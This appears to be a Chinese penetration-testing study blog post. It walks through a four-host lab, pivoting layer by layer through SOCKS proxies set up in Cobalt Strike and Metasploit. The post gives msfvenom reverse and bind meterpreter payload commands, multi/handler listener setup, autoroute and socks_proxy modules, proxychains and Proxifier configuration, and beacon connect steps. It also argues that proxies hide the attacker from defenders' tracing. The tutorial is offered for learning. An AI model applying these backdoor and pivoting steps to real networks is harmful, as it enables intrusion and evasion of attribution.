第171天:代理通讯篇&无外网或不可达&socks全协议&规则配置&C2正反向上线&解决方案

代理和内网代理

代理

代理是一种网络中介,本质上是代替客户端与目标服务器进行通信的中间节点,它的核心作用是转发流量、缓存数据、实施访问控制或隐藏真实网络身份

代理在渗透测试中最基础也最重要的作用是隐藏攻击源。当你对目标发起扫描或攻击时,如果直接使用本机IP,防守方的流量监控设备会立刻记录并溯源。通过代理服务器转发流量,目标系统看到的是代理的IP,而非你的真实IP。这为攻击者提供了关键的“缓冲时间”,在后续的渗透过程中,防守方难以通过IP直接锁定攻击者的物理位置或真实身份,从而大大增加了溯源难度

其次,代理是突破网络边界限制的关键。很多目标网络部署了防火墙或入侵检测系统,它们会拦截来自特定地区、特定IP段或特定协议的流量。攻击者可以通过代理,将流量伪装成目标网络信任的源地址或合法协议,从而绕过这些边界设备的拦截。例如,如果目标防火墙只允许来自特定海外IP的HTTP流量,攻击者就可以使用位于该地区的代理,将攻击流量封装在正常的HTTP请求中,从而成功触达内网资源

内网代理

内网代理在渗透测试中则扮演着内网渗透横向移动的“跳板”角色。当攻击者通过某种方式(如钓鱼邮件或漏洞利用)成功拿下一台内网主机后,这台主机就变成了一个 “立足点”。但此时,攻击者往往无法直接访问内网中更核心的服务器(如数据库、域控服务器),因为这些服务器通常只对内网特定网段开放。这时,攻击者会在已控制的这台主机上部署内网代理(如 Socks 代理或 HTTP 代理),将攻击者的流量通过这台 “跳板机” 转发到内网深处。这样一来,攻击者就可以从自己的电脑,通过跳板机,像在内网本地一样去访问和攻击其他内网主机,实现从外网到内网的纵深渗透

只有先把网络通信搞好,才能去进行信息收集或者其他的一些漏洞利用的操作

不出网的原因:

  • 可能是就真的没有网络,完全和外网隔离开
  • 也可能利用一些工具,限制部分应用程序或者访问流量

三层网络代理

环境搭建

拓扑图,三层网络

image-20261016135855622

四个 Windows 的虚拟机用的配好了的,kali 用的自己的,临时设置一下 IP:

1
sudo ip addr add 192.168.139.111/24 dev eth0

image-20261016130535214

现在拥有 Kali,可以直接访问到 Windows 2016(Web),之后就是要去访问另外三台主机

为了方便自己的 Windows 主机可以访问 kali,之后要连 CS 嘛,也临时设置一下

image-20261016143602089

image-20261016143512594

为了更好的模拟实验环境,最好是把一些网卡关掉,让自己的主机不能和 SQL、FILE、DC 这三个主机进行通信,当然这里的虚拟机是下载的配好的,就不需要设置了,如果是自己在本地搭建的虚拟机,就需要关一下这些网卡,比如下面的 VMware Network Adapter 2、3、4

image-20261016135807612

看一下几个虚拟机的 IP 是否配置无误

image-20261016141716193

image-20261016141739595

image-20261016141757148

image-20261016141829653

解决网络通信问题方法

利用工具

就是先拿下 Windows 2016(Web)这台机器,然后把进行渗透测试的工具放到机器上,继续去渗透下一个 SQL 的机器,然后拿下 SQL 后继续放工具,去拿下 FILE,拿下后放工具去拿下 DC

这种方案就是不需要代理,就是拿下一台主机后,把工具放到拿下的主机上,用拿下的这个主机去对下一台主机进行渗透测试

但是在真实的场景中,目标机器上很可能会有一些杀软什么的,这就要面临问题:放上去的工具如何才能不被杀掉;甚至在进行渗透测试的时候,传入工具到机器上,刚好管理员在使用电脑,发现了多出的这个工具,就很麻烦了;还有就是能否图形化操作工具,如果拿下的机器是 Linux 系统中,也不好操作

所以这种方法可以说是百害而无一利

利用代理

最好的解决方法就是利用代理技术,就是不需要把工具放到拿下的主机上面,只要放到自己的攻击机上面,通过代理去访问其他的主机

就是利用攻击机 Kali 拿下 Web 主机,因为 Web 主机和 SQL 主机在同一个网段,所以可以设置一个节点,利用 Web 主机去访问到 SQL 主机,后门的依次类推,拿下 SQL 主机后设置节点,通过 SQL 主机去访问 FILE 主机,利用的是 socks 协议

利用代理的优点就是:所有攻击流量都从你的 Kali 发出,目标机器上只有“网络连接”,没有“恶意文件”

上线CS

Web机器上线CS

首先,假设已经获取了 Web 机器的权限,现在要将其上线到 CS 上

先把 kali 的 CS 服务端起来

1
./teamserver 192.168.139.111 123456

image-20261016142334935

客户端放自己的主机了,启动客户端

image-20261016142522405

image-20261016143642411

CS 生成个 payload,放 Web 机器上,上线到 CS

image-20261016144638492

回连间隔设置为 1

image-20261016144727022

image-20261016144736906

image-20261016144853291

一层代理和SQL主机上线

看 SQL 主机,上面有 phpstudy,开启起一个网站

image-20261016144929660

在 Web 机器中的浏览器可以正常访问到

1
http://192.168.2.22/

image-20261016144957360

本机是访问不到的

image-20261016145047211

现在就是要用已经上线到 CS 的 Web 机器做代理

找到 “代理转发” 中的 “Socks代理”

image-20261016145204987

有两种 socks 协议,socks4a 和 socks5

image-20261016145339668

socks5 多了账号密码验证,我习惯用 socks5,这里就不用账号密码,代理的端口可以自定义,也可以直接默认用它给的

image-20261016145503084

image-20261016145528347

然后用代理工具,这里 Windows 用 Proxifier

工具下载地址:https://get-shell.com/1506.html

先设置代理服务器

image-20261016145751222

添加一个,这里的地址是 CS 服务端的 IP,也就是 kali,端口就用刚才 CS 中的,协议也要一直

image-20261016145922035

可以检查一下,确保连接无误

image-20261016150056177

然后设置代理规则

image-20261016150116493

添加一个,上面的应用程序和目标主机就是设置哪些应用程序或者主机是要走这个代理的,比如这里设置的是应用程序是默认的,也就是都走这个代理,目标主机设置的是192.168.2.*,就是这个网段都走这个代理,最下面的就选择刚才设置的代理服务器,

image-20261016195548041

启用这个规则

image-20261016195816636

再去本机的浏览器中刷新一下,访问 SQL 主机的网站,就可以访问到了

image-20261016150643999

现在就可以在本机使用工具对 SQL 主机进行渗透测试了,比如使用 fscan 这个工具

1
fscan.exe -h 192.168.2.22

image-20261016150952179

刚才已经可以在本机直接访问到 SQL 这个机器了,假设已经通过漏洞点拿到了 SQL 这个主机的权限,要继续去访问下一个 FILE 这个主机,继续搭建二层代理

先看一下 CS 生成的 Payload 的几个模式

image-20261016181726980

比如常用的 Beacon HTTP,这种模式生成的就是 reverse_http,还有比如 Beacon SMB 生成的是 beacon_bind_pipe 等等

总的来说就是下面这两种

1
2
reverse		反向		让目标机器主动连接你
bind 正向 你主动去连接目标机器 配置中没有IP(IP地址就是本地)

一般都是用的反向后门

因为防火墙一般对外部到内部过滤严格,而内部到外部的过滤少甚至没有过滤

像下面这三个机器,kali 就是我们自己的攻击机,Web 机器是已经拿下的机器,SQL 是准备去访问的,现在已经将 Web 上线到 kali 的 CS 上,是利用反向连接的,原因就像上面说的一样,而 SQL 就不能利用反向连接到 kali 的 CS 了,因为 kali 和 SQL 这两个机器不在同一个网段上,相互是不通的

image-20261016182700170

所以就要做一个正向后门,kali 和 SQL 两个机器是不互通的,但是 Web 和 SQL 这两个机器是互通的,并且现在已经拿到 Web 机器的权限,所以就要通过 Web 机器去正向连接 SQL 机器

现在就生成一个后门,先设置好一个监听器

image-20261016183553454

生成一个 Payload,模式要选择 “Windows 可执行程序(Stageless)”

image-20261016183718811

监听器选择刚才创建的,其他的默认

image-20261016183817962

image-20261016183859493

把生成好的后门程序放到 SQL 虚拟机中,真实环境肯定要通过利用漏洞上传上去的,这里本地学习就直接复制进去了,先看一下端口使用情况

1
netstat -an

目前没有 4444 端口的连接

image-20261016184539236

然后双击运行程序,再看一下,可以看到 4444 端口正在监听中

image-20261016184256023

然后来到 CS 中,让 Web 机器去连接 SQL 机器的这个端口

1
connect 192.168.2.22 4444

image-20261016185206033

看一下网络连接情况,可以看到箭头的指向就不一样了

image-20261016191315239

二层代理和FILE主机上线

继续看第三台 FILE 机器,这个机器所扮演的是一个文件服务器,开启了 ftp 服务,SQL 和 FILE 这两个机器是在同一个网段上,所以可以通过 SQL 这个机器去访问 FILE 的 ftp 服务

先把 ftp 服务启动起来

桌面有个 QuickEasyFTPServer-v4.0.0 文件夹

image-20261016194316579

打开文件夹,运行 ftpserver.exe 程序

image-20261016194343821

点击左上角的绿灯开启服务

image-20261016194426828

在 SQL 机器中尝试访问 ftp 服务

1
ftp 192.168.3.22

没有问题,可以连接访问

image-20261016194537722

而 Web 机器还有我的本机都是连不上的

image-20261016194711549

image-20261016194718022

要想我的主机能访问到这个服务,方法就是和之前一样,利用 SQL 机器进行代理转发,加一个 socks 代理

image-20261016194910851

image-20261016194921592

然后利用代理工具 Proxifier,添加一个代理服务器,注意 IP 地址还是 C2 服务器的,也就是 kali 的,只要修改一下端口就行

image-20261016195229883

检查无误

image-20261016195241049

然后添加代理规则

image-20261016195521205

启用代理

image-20261016195836044

现在就可以在本机访问 ftp 服务了

image-20261016195721411

也可以利用 fscan 扫 FILE 这个机器了

1
fscan.exe -h 192.168.3.22

image-20261016200005697

下面来把 FILE 上线到 CS,先把之前生成的正向连接的那个 Payload 上传到 FILE 机器上,并运行

image-20261016205729998

然后在 CS 上,让 SQL 机器去连接

1
connect 192.168.3.22 4444

image-20261016205906401

看一下箭头指向

image-20261016210051105

三层代理和DC主机上线

最后一个 DC 机器,和之前一样,用 FILE 机器做 socks 代理

image-20261016210539261

image-20261016210556956

image-20261016210616433

然后利用本地的 Proxifier 工具,添加代理服务器和规则

image-20261016210721270

image-20261016210727794

image-20261016210803685

然后就可以利用 fscan 去扫描 DC 机器了

1
fscan.exe -h 192.168.4.22

image-20261016210849093

上线也是和之前一样,把 Payload 传到 DC 机器上运行

image-20261016211542410

在 CS 上让 FILE 机器去连接

1
connect 192.168.4.22 4444

image-20261016211633640

至此四台主机全部上线 CS

小结

什么时候可以使用反向连接

这要看具体的情况,如果目标机器可以和 C2 服务器进行通信,就可以进行反向连接

举个例子:

现在有攻击机 A,还有两个内网机器 B 和 C,A 和 B 可以相互通信,B 和 C 可以相互通信,A 不能访问到 C,但是 C 可以访问到 A,此时要把 C 上线到 A 的 CS 服务器上,就可以使用反向连接,因为 C 是可以和 A 进行通信的

image-20261018213557600

还是上面的条件,改一下,A 和 C 都不能直接访问到对方,此时还是可以利用反向连接将 C 上线到 A 的CS 服务器上,因为 C 可以和 B 进行通信,A 可以和 B进行通信,所以 A 和 C 就可以通过 B 进行相互通信

image-20261018213858038

再改一下,B 可以访问 C,但是 C 不能访问到 B,那么此时就不能使用反向连接,只能使用正向连接,因为 C 没办法和 A 进行通信

image-20261018214138621

上线MSF

配置反向上线命令

1
2
3
4
5
6
7
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.111 LPORT=2333 -f exe -o msf.exe
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 2333
run

配置正向上线命令

1
2
3
4
5
6
7
msfvenom -p windows/meterpreter/bind_tcp LPORT=2334 -f exe -o msf_bind.exe
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 2334
set rhost x.x.x.x
run

Web机器上线MSF

先生成一个反向后门,生成一个反向连接到192.168.139.111的2333端口的 exe 后门

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.111 LPORT=2333 -f exe -o msf.exe

image-20261019001133716

将其放到 Web 机器中,然后先打开 msf 并监听好端口

1
msfconsole

image-20261019001433453

选择监听模块

1
use exploit/multi/handler

image-20261019001615500

设置好 payload,使用反向连接的

1
set payload windows/meterpreter/reverse_tcp

image-20261019001705894

这里可以查看一下要设置的选项,就根据 Required 这一列是什么来判断哪些选项是必须设置的,这里就是 LHOST 和 LPORT,EXITFUNC 默认的就好

1
show options

image-20261019001845756

然后就是设置地址和端口,也就是监听信息,最后运行,进入监听状态

1
2
3
set lhost 0.0.0.0
set lport 2333
run

image-20261019002338008

然后再去运行 Web 中的msf.exe后门程序就可以上线了

一层代理和SQL主机上线

上线之后就可以继续渗透了,比如查看有哪些网段,看一些路由关系

1
run autoroute -p

image-20261019003622282

第一次看不到可以先执行给的这个命令,然后再看,这里就是可以看到存在192.168.2.0/24和192.168.139.0/24这俩网段

1
2
run post/multi/manage/autoroute
run autoroute -p

image-20261019003653850

下面就是要创建 socks 节点,先跳出当前的 session,然后选择创建 socks 节点的模块

1
2
background
use auxiliary/server/socks_proxy

image-20261019004105918

查看一下这个模块的选项,要设置的就是 IP、端口、socks的版本

1
show options

image-20261019004157114

这里 IP 就用默认的0.0.0.0,可以设置一下端口,也可以直接用默认的,socks 的版本就用 socks5,不用改

1
set srvport 3100

image-20261019004540025

然后运行起来

1
run

image-20261019005024813

可以在本机中用 Proxifier 检查一下

image-20261019005400874

image-20261019005406898

下面不用这个工具,主要是实验在 kali 中进行渗透的,换成使用 kali 中自带的代理工具 proxychains

这个工具有一个配置文件,在:/etc/proxychains4.conf

image-20261019010124911

翻到最下面,加上:

1
socks5 127.0.0.1 3100

image-20261019010900617

然后就可以使用工具,测试一下联通性,就是正常输入命令,不过命令前面要加上proxychains4,比如:

1
proxychains4 curl http://192.168.2.22

image-20261019010912697

直接 curl 的话是 curl 不到的

image-20261019011048497

下面要把 SQL 主机上线到 MSF,先生成后门,这里生成正向后门,IP 就不用设置了

1
msfvenom -p windows/meterpreter/bind_tcp LPORT=2334 -f exe -o msf_bind.exe

image-20261019104013926

复制到 SQL 主机中,然后就是在 msf 设置好模块去连接,还是用之前开启的,有 session

1
sessions

image-20261019105702578

1
2
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp

这里看一下选项设置,要设置一个 LPORT ,目标地址 IP 也设置一下

1
show options

image-20261019110332267

1
2
3
set lport 2334
set rhost 192.168.2.22
run

image-20261019110547156

然后去执行一下后门程序就可以上线了

image-20261019113005904

二层代理和FILE主机上线

看一下路由关系

1
2
run post/multi/manage/autoroute
run autoroute -p

image-20261019113344380

然后和之前一样,设置一下代理节点

1
2
3
4
background
use auxiliary/server/socks_proxy
set srvport 3101
run

image-20261019114008337

然后再去修改那个配置文件,改成

1
socks5 127.0.0.1 3101

image-20261019114037730

然后调用工具去访问 FILE 的 ftp 服务试试,可以成功访问

1
proxychains4 ftp 192.168.3.22

image-20261019114205871

看一下此时的 sessions,上线了 Web 和 SQL 这俩机器,继续上线 FILE 机器

image-20261019114418662

把之前生成的后门程序上传到 FILE 机器中,然后再设置一下模块,改一下连接的目标机器 IP

1
2
3
use exploit/multi/handler
set rhost 192.168.3.22
run

image-20261019114740032

然后运行一下后门程序就可以成功上线了

image-20261019114904255

三层代理和DC主机上线

先获取路由信息

1
2
run post/multi/manage/autoroute
run autoroute -p

image-20261019115126936

设置代理节点

1
2
3
4
background
use auxiliary/server/socks_proxy
set srvport 3102
run

image-20261019115223690

修改配置文件

1
socks5 127.0.0.1 3102

image-20261019115308429

测试连通性

1
proxychains4 curl 192.168.4.22

image-20261019115402608

可以访问到 DC 主机,继续将其上线到 MSF,把后门程序传到 DC 主机上,然后设置一下模块

1
2
3
use exploit/multi/handler
set rhost 192.168.4.22
run

image-20261019115534974

运行程序,DC 上线 MSF

image-20261019115719016

看一下 sessions,至此四台主机全部上线 MSF

image-20261019115820353


第171天:代理通讯篇&无外网或不可达&socks全协议&规则配置&C2正反向上线&解决方案
https://yschen20.github.io/2026/10/19/第171天:代理通讯篇-无外网或不可达-socks全协议-规则配置-C2正反向上线-解决方案/
作者
Suzen
发布于
2026年10月19日
更新于
2026年10月19日
许可协议